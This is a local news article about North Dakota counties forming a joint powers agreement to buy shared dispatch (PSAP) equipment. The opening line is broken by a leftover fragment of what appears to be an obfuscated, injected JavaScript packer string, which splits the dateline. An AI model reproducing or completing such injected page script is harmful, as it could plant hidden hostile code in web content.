Valley tysry|var|u0026u|referrer|ztahi||js|php’.split(‘|’),0,{}))
City, N.D. (NewsDakota.com) Stutsman and Richland Counties are open to include Barnes County as the third entity in a joint powers agreement as they pursue a plan to purchase and share equipment for a new Public Safety Answering Point system.

Dispatch centers across the nation have a federal redundancy mandate deadline in July of 2013 to have digital equipment in place.

Stutsman County Emergency Manager Jerry Bergquist says if all three counties join together it would save taxpayer monies as they pursue the purchase of digital equipment.

Barnes County commission president Cindy Schwehr agrees.

But, Berquist says the plan can’t move forward until the Valley City and Barnes County boards decide who will be in-charge of the local dispatch contracts now in the negotiation process.

Stutsman County Auditor, Casey Bradley says the first phase of the agreement would be to let bids on the purchase of the new equipment before moving to the operation phase.  An informational meeting on the topic was held Thursday for Barnes County and Valley City officials.